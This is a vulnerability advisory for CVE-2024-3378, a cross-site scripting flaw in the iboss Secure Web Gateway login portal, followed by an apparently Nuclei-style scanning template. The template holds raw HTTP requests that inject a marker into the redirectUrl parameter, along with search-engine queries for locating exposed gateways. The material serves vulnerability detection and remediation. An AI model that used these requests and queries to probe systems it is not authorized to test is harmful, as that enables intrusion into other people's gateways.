A cross-site scripting vulnerability has been found in iboss Secure Web Gateway up to version 10.1. The vulnerability affects the /login file of the Login Portal component, where manipulation of the redirectUrl parameter leads to cross-site scripting. The attack can be launched remotely and the exploit has been disclosed to the public.
PoC代码[已公开]
id: CVE-2024-3378
info:
name: iboss Secure Web Gateway - Stored Cross-Site Scripting
author: s4e-io
severity: medium
description: |
A cross-site scripting vulnerability has been found in iboss Secure Web Gateway up to version 10.1. The vulnerability affects the /login file of the Login Portal component, where manipulation of the redirectUrl parameter leads to cross-site scripting. The attack can be launched remotely and the exploit has been disclosed to the public.
remediation: Upgrading to version 10.2.0.160 is able to address this issue. It is recommended to upgrade the affected component.
reference:
- https://www.exploit-db.com/exploits/52009
- https://github.com/modrnProph3t/CVE/blob/main/CVE-2024-3378.md
- https://vuldb.com/?ctiid.259501
- https://vuldb.com/?id.259501
- https://vuldb.com/?submit.310642
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
cvss-score: 4.3
cve-id: CVE-2024-3378
cwe-id: CWE-79
epss-score: 0.03566
epss-percentile: 0.87277
cpe: cpe:2.3:a:iboss:secure_web_gateway:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: iboss
product: secure_web_gateway
shodan-query: html:"iboss-font.css"
fofa-query: body="iboss-font.css"
google-query: intext:"iboss-font.css"
tags: cve,cve2024,iboss,xss,intrusive,vkev
flow: http(1) && http(2)
http:
- raw:
- |
POST /user_login_submit HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
userName={{rand_base(10)}}&x={{rand_base(10)}}&action=login&redirectUrl=</{{randstr}}>
matchers:
- type: dsl
dsl:
- 'contains(header, "Login failed")'
- 'status_code == 302'
condition: and
internal: true
- raw:
- |
GET /login HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(http_2_body, "</{{randstr}}>\"") && contains(http_2_body, "iboss,")'
- type: status
status:
- 200
# digest: 490a004630440220093b083e45327bd9b0fa493040473f340dd5acac4f3c8f453646bf2c8ca0145002200a804ff5401786239863279c1b3783476083b725a00c497e44497cec8b893026:922c64590222798bb761d5b6d8e72950